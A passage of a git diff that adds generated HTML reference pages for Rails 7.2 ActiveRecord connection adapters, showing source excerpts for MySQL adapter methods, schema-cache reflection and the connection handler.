NATIVE_DATABASE_TYPES={ +primary_key: "bigint auto_increment PRIMARY KEY", +string: { name: "varchar", limit: 255 }, +text: { name: "text" }, +integer: { name: "int", limit: 4 }, +bigint: { name: "bigint" }, +float: { name: "float", limit: 24 }, +decimal: { name: "decimal" }, +datetime: { name: "datetime" }, +timestamp: { name: "timestamp" }, +time: { name: "time" }, +date: { name: "date" }, +binary: { name: "blob" }, +blob: { name: "blob" }, +boolean: { name: "tinyint", limit: 1 }, +json: { name: "json" }, +}
+ + + + + + +

Class Public methods

+ +
+

+ + dbconsole(config, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 57
+        def dbconsole(config, options = {})
+          mysql_config = config.configuration_hash
+
+          args = {
+            host: "--host",
+            port: "--port",
+            socket: "--socket",
+            username: "--user",
+            encoding: "--default-character-set",
+            sslca: "--ssl-ca",
+            sslcert: "--ssl-cert",
+            sslcapath: "--ssl-capath",
+            sslcipher: "--ssl-cipher",
+            sslkey: "--ssl-key",
+            ssl_mode: "--ssl-mode"
+          }.filter_map { |opt, arg| "#{arg}=#{mysql_config[opt]}" if mysql_config[opt] }
+
+          if mysql_config[:password] && options[:include_password]
+            args << "--password=#{mysql_config[:password]}"
+          elsif mysql_config[:password] && !mysql_config[:password].to_s.empty?
+            args << "-p"
+          end
+
+          args << config.database
+
+          find_cmd_and_exec(["mysql", "mysql5"], *args)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + emulate_booleans + +

+ + +
+

By default, the Mysql2Adapter will consider all columns of type tinyint(1) as boolean. If you wish to disable this emulation you can add the following line to your application.rb file:

+ +
ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans = false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 29
+      class_attribute :emulate_booleans, default: true
+
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + charset() + +

+ + +
+

Returns the database character set.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 308
+      def charset
+        show_variable "character_set_database"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + check_constraints(table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 513
+      def check_constraints(table_name)
+        if supports_check_constraints?
+          scope = quoted_scope(table_name)
+
+          sql = <<~SQL
+            SELECT cc.constraint_name AS 'name',
+                  cc.check_clause AS 'expression'
+            FROM information_schema.check_constraints cc
+            JOIN information_schema.table_constraints tc
+            USING (constraint_schema, constraint_name)
+            WHERE tc.table_schema = #{scope[:schema]}
+              AND tc.table_name = #{scope[:name]}
+              AND cc.constraint_schema = #{scope[:schema]}
+          SQL
+          sql += " AND cc.table_name = #{scope[:name]}" if mariadb?
+
+          chk_info = internal_exec_query(sql, "SCHEMA")
+
+          chk_info.map do |row|
+            options = {
+              name: row["name"]
+            }
+            expression = row["expression"]
+            expression = expression[1..-2] if expression.start_with?("(") && expression.end_with?(")")
+            expression = strip_whitespace_characters(expression)
+
+            unless mariadb?
+              # MySQL returns check constraints expression in an already escaped form.
+              # This leads to duplicate escaping later (e.g. when the expression is used in the SchemaDumper).
+              expression = expression.gsub("\\'", "'")
+            end
+
+            CheckConstraintDefinition.new(table_name, expression, options)
+          end
+        else
+          raise NotImplementedError
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + collation() + +

+ + +
+

Returns the database collation strategy.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 313
+      def collation
+        show_variable "collation_database"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create_database(name, options = {}) + +

+ + +
+

Create a new MySQL database with optional :charset and :collation. Charset defaults to utf8mb4.

+ +

Example:

+ +
create_database 'charset_test', charset: 'latin1', collation: 'latin1_bin'
+create_database 'matt_development'
+create_database 'matt_development', charset: :big5
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 283
+      def create_database(name, options = {})
+        if options[:collation]
+          execute "CREATE DATABASE #{quote_table_name(name)} DEFAULT COLLATE #{quote_table_name(options[:collation])}"
+        elsif options[:charset]
+          execute "CREATE DATABASE #{quote_table_name(name)} DEFAULT CHARACTER SET #{quote_table_name(options[:charset])}"
+        elsif row_format_dynamic_by_default?
+          execute "CREATE DATABASE #{quote_table_name(name)} DEFAULT CHARACTER SET `utf8mb4`"
+        else
+          raise "Configure a supported :charset and ensure innodb_large_prefix is enabled to support indexes on varchar(255) string columns."
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + current_database() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 303
+      def current_database
+        query_value("SELECT database()", "SCHEMA")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + drop_table(table_name, **options) + +

+ + +
+

Drops a table from the database.

+
:force +
+

Set to :cascade to drop dependent objects as well. Defaults to false.

+
:if_exists +
+

Set to true to only drop the table if it exists. Defaults to false.

+
:temporary +
+

Set to true to drop temporary table. Defaults to false.

+
+ +

Although this command ignores most options and the block if one is given, it can be helpful to provide these in a migration’s change method so it can be reverted. In that case, options and the block will be used by create_table.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 361
+      def drop_table(table_name, **options)
+        schema_cache.clear_data_source_cache!(table_name.to_s)
+        execute "DROP#{' TEMPORARY' if options[:temporary]} TABLE#{' IF EXISTS' if options[:if_exists]} #{quote_table_name(table_name)}#{' CASCADE' if options[:force] == :cascade}"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + foreign_keys(table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 468
+      def foreign_keys(table_name)
+        raise ArgumentError unless table_name.present?
+
+        scope = quoted_scope(table_name)
+
+        # MySQL returns 1 row for each column of composite foreign keys.
+        fk_info = internal_exec_query(<<~SQL, "SCHEMA")
+          SELECT fk.referenced_table_name AS 'to_table',
+                 fk.referenced_column_name AS 'primary_key',
+                 fk.column_name AS 'column',
+                 fk.constraint_name AS 'name',
+                 fk.ordinal_position AS 'position',
+                 rc.update_rule AS 'on_update',
+                 rc.delete_rule AS 'on_delete'
+          FROM information_schema.referential_constraints rc
+          JOIN information_schema.key_column_usage fk
+          USING (constraint_schema, constraint_name)
+          WHERE fk.referenced_column_name IS NOT NULL
+            AND fk.table_schema = #{scope[:schema]}
+            AND fk.table_name = #{scope[:name]}
+            AND rc.constraint_schema = #{scope[:schema]}
+            AND rc.table_name = #{scope[:name]}
+        SQL
+
+        grouped_fk = fk_info.group_by { |row| row["name"] }.values.each { |group| group.sort_by! { |row| row["position"] } }
+        grouped_fk.map do |group|
+          row = group.first
+          options = {
+            name: row["name"],
+            on_update: extract_foreign_key_action(row["on_update"]),
+            on_delete: extract_foreign_key_action(row["on_delete"])
+          }
+
+          if group.one?
+            options[:column] = unquote_identifier(row["column"])
+            options[:primary_key] = row["primary_key"]
+          else
+            options[:column] = group.map { |row| unquote_identifier(row["column"]) }
+            options[:primary_key] = group.map { |row| row["primary_key"] }
+          end
+
+          ForeignKeyDefinition.new(table_name, unquote_identifier(row["to_table"]), options)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + index_algorithms() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 189
+      def index_algorithms
+        {
+          default: "ALGORITHM = DEFAULT",
+          copy:    "ALGORITHM = COPY",
+          inplace: "ALGORITHM = INPLACE",
+          instant: "ALGORITHM = INSTANT",
+        }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + native_database_types() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 185
+      def native_database_types
+        NATIVE_DATABASE_TYPES
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + quote_string(string) + +

+ + +
+

Quotes strings for use in SQL input.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 696
+      def quote_string(string)
+        with_raw_connection(allow_retry: true, materialize_transactions: false) do |connection|
+          connection.escape(string)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + recreate_database(name, options = {}) + +

+ + +
+

Drops the database specified on the name attribute and creates it again using the provided options.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 269
+      def recreate_database(name, options = {})
+        drop_database(name)
+        sql = create_database(name, options)
+        reconnect!
+        sql
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rename_index(table_name, old_name, new_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 366
+      def rename_index(table_name, old_name, new_name)
+        if supports_rename_index?
+          validate_index_length!(table_name, new_name)
+
+          execute "ALTER TABLE #{quote_table_name(table_name)} RENAME INDEX #{quote_table_name(old_name)} TO #{quote_table_name(new_name)}"
+        else
+          super
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rename_table(table_name, new_name, **options) + +

+ + +
+

Renames a table.

+ +

Example:

+ +
rename_table('octopuses', 'octopi')
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 338
+      def rename_table(table_name, new_name, **options)
+        validate_table_length!(new_name) unless options[:_uses_legacy_table_name]
+        schema_cache.clear_data_source_cache!(table_name.to_s)
+        schema_cache.clear_data_source_cache!(new_name.to_s)
+        execute "RENAME TABLE #{quote_table_name(table_name)} TO #{quote_table_name(new_name)}"
+        rename_table_indexes(table_name, new_name, **options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + show_variable(name) + +

+ + +
+

SHOW VARIABLES LIKE β€˜name’

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 582
+      def show_variable(name)
+        query_value("SELECT @@#{name}", "SCHEMA")
+      rescue ActiveRecord::StatementInvalid
+        nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + strict_mode?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 633
+      def strict_mode?
+        self.class.type_cast_config_to_boolean(@config.fetch(:strict, true))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_advisory_locks?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 161
+      def supports_advisory_locks?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_bulk_alter?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 96
+      def supports_bulk_alter?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_check_constraints?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 128
+      def supports_check_constraints?
+        if mariadb?
+          database_version >= "10.3.10" || (database_version < "10.3" && database_version >= "10.2.22")
+        else
+          database_version >= "8.0.16"
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_common_table_expressions?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 153
+      def supports_common_table_expressions?
+        if mariadb?
+          database_version >= "10.2.1"
+        else
+          database_version >= "8.0.1"
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_datetime_with_precision?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 140
+      def supports_datetime_with_precision?
+        mariadb? || database_version >= "5.6.4"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_explain?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 116
+      def supports_explain?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_expression_index?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 104
+      def supports_expression_index?
+        !mariadb? && database_version >= "8.0.13"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_foreign_keys?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 124
+      def supports_foreign_keys?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_index_sort_order?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 100
+      def supports_index_sort_order?
+        !mariadb? && database_version >= "8.0.1"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_indexes_in_create?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 120
+      def supports_indexes_in_create?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_insert_on_duplicate_skip?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 165
+      def supports_insert_on_duplicate_skip?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_insert_on_duplicate_update?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 169
+      def supports_insert_on_duplicate_update?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_insert_returning?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 173
+      def supports_insert_returning?
+        mariadb? && database_version >= "10.5.0"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_optimizer_hints?() + +

+ + + + + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 149
+      def supports_optimizer_hints?
+        !mariadb? && database_version >= "5.7.7"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_restart_db_transaction?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 112
+      def supports_restart_db_transaction?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_transaction_isolation?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 108
+      def supports_transaction_isolation?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_views?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 136
+      def supports_views?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_virtual_columns?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb, line 144
+      def supports_virtual_columns?
+        mariadb? || database_version >= "5.7.5"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/BoundSchemaReflection.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/BoundSchemaReflection.html new file mode 100644 index 0000000000..541e44a65d --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/BoundSchemaReflection.html @@ -0,0 +1,709 @@ +--- +title: ActiveRecord::ConnectionAdapters::BoundSchemaReflection +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(abstract_schema_reflection, pool) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 160
+      def initialize(abstract_schema_reflection, pool)
+        @schema_reflection = abstract_schema_reflection
+        @pool = pool
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + add(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 185
+      def add(name)
+        @schema_reflection.add(@pool, name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cached?(table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 173
+      def cached?(table_name)
+        @schema_reflection.cached?(table_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 165
+      def clear!
+        @schema_reflection.clear!
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear_data_source_cache!(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 217
+      def clear_data_source_cache!(name)
+        @schema_reflection.clear_data_source_cache!(@pool, name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + columns(table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 193
+      def columns(table_name)
+        @schema_reflection.columns(@pool, table_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + columns_hash(table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 197
+      def columns_hash(table_name)
+        @schema_reflection.columns_hash(@pool, table_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + columns_hash?(table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 201
+      def columns_hash?(table_name)
+        @schema_reflection.columns_hash?(@pool, table_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + data_source_exists?(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 181
+      def data_source_exists?(name)
+        @schema_reflection.data_source_exists?(@pool, name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + data_sources(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 189
+      def data_sources(name)
+        @schema_reflection.data_sources(@pool, name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dump_to(filename) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 221
+      def dump_to(filename)
+        @schema_reflection.dump_to(@pool, filename)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + indexes(table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 205
+      def indexes(table_name)
+        @schema_reflection.indexes(@pool, table_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 169
+      def load!
+        @schema_reflection.load!(@pool)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + primary_keys(table_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 177
+      def primary_keys(table_name)
+        @schema_reflection.primary_keys(@pool, table_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + size() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 213
+      def size
+        @schema_reflection.size(@pool)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + version() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 209
+      def version
+        @schema_reflection.version(@pool)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/BoundSchemaReflection/FakePool.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/BoundSchemaReflection/FakePool.html new file mode 100644 index 0000000000..6a30ce613a --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/BoundSchemaReflection/FakePool.html @@ -0,0 +1,149 @@ +--- +title: ActiveRecord::ConnectionAdapters::BoundSchemaReflection::FakePool +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(connection) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 145
+        def initialize(connection)
+          @connection = connection
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + with_connection() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/schema_cache.rb, line 149
+        def with_connection
+          yield @connection
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/Column.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Column.html new file mode 100644 index 0000000000..5831a73f8e --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Column.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::ConnectionAdapters::Column +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/ColumnMethods.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/ColumnMethods.html new file mode 100644 index 0000000000..bdbc452ef3 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/ColumnMethods.html @@ -0,0 +1,151 @@ +--- +title: ActiveRecord::ConnectionAdapters::ColumnMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + column(name, type, **options) + + +

+ + +
+

Appends a column or columns of a specified type.

+ +
t.string(:goat)
+t.string(:goat, :sheep)
+
+ +

See TableDefinition#column

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 320
+      included do
+        define_column_methods :bigint, :binary, :boolean, :date, :datetime, :decimal,
+          :float, :integer, :json, :string, :text, :time, :timestamp, :virtual
+
+        alias :blob :binary
+        alias :numeric :decimal
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + primary_key(name, type = :primary_key, **options) + +

+ + +
+

Appends a primary key definition to the table definition. Can be called multiple times, but this is probably not a good idea.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb, line 305
+      def primary_key(name, type = :primary_key, **options)
+        column(name, type, **options.merge(primary_key: true))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/ConnectionHandler.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/ConnectionHandler.html new file mode 100644 index 0000000000..b280992112 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/ConnectionHandler.html @@ -0,0 +1,644 @@ +--- +title: ActiveRecord::ConnectionAdapters::ConnectionHandler +layout: default +--- +
+ +
+
+ +
+ +

Active Record Connection Handler

+ +

ConnectionHandler is a collection of ConnectionPool objects. It is used for keeping separate connection pools that connect to different databases.

+ +

For example, suppose that you have 5 models, with the following hierarchy:

+ +
class Author < ActiveRecord::Base
+end
+
+class BankAccount < ActiveRecord::Base
+end
+
+class Book < ActiveRecord::Base
+  establish_connection :library_db
+end
+
+class ScaryBook < Book
+end
+
+class GoodBook < Book
+end
+
+ +

And a database.yml that looked like this:

+ +
development:
+  database: my_application
+  host: localhost
+
+library_db:
+  database: library
+  host: some.library.org
+
+ +

Your primary database in the development environment is β€œmy_application” but the Book model connects to a separate database called β€œlibrary_db” (this can even be a database on a different machine).

+ +

Book, ScaryBook, and GoodBook will all use the same connection pool to β€œlibrary_db” while Author, BankAccount, and any other models you create will use the default connection pool to β€œmy_application”.

+ +

The various connection pools are managed by a single instance of ConnectionHandler accessible via ActiveRecord::Base.connection_handler. All Active Record models use this handler to determine the connection pool that they should use.

+ +

The ConnectionHandler class is not coupled with the Active models, as it has no knowledge about the model. The model needs to pass a connection specification name to the handler, in order to look up the correct connection pool.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_handler.rb, line 74
+      def initialize
+        # These caches are keyed by pool_config.connection_name (PoolConfig#connection_name).
+        @connection_name_to_pool_manager = Concurrent::Map.new(initial_capacity: 2)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + active_connections?(role = nil) + +

+ + +
+

Returns true if there are any active connections among the connection pools that the ConnectionHandler is managing.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_handler.rb, line 155
+      def active_connections?(role = nil)
+        each_connection_pool(role).any?(&:active_connection?)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear_active_connections!(role = nil) + +

+ + +
+

Returns any connections in use by the current thread back to the pool, and also returns connections to the pool cached by threads that are no longer alive.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_handler.rb, line 162
+      def clear_active_connections!(role = nil)
+        each_connection_pool(role).each do |pool|
+          pool.release_connection
+          pool.disable_query_cache!
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear_all_connections!(role = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_handler.rb, line 176
+      def clear_all_connections!(role = nil)
+        each_connection_pool(role).each(&:disconnect!)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear_reloadable_connections!(role = nil) + +

+ + +
+

Clears the cache which maps classes.

+ +

See ConnectionPool#clear_reloadable_connections! for details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_handler.rb, line 172
+      def clear_reloadable_connections!(role = nil)
+        each_connection_pool(role).each(&:clear_reloadable_connections!)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connected?(connection_name, role: ActiveRecord::Base.current_role, shard: ActiveRecord::Base.current_shard) + +

+ + +
+

Returns true if a connection that’s accessible to this class has already been opened.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/connection_handler.rb, line 198
+      def connected?(connection_name, role: ActiveRecord::Base.current_role, shard: ActiveRecord::Base.current_shard)
+        pool = retrieve_connection_pool(connection_name, role: role, shard: shard)
+        pool && pool.connected?
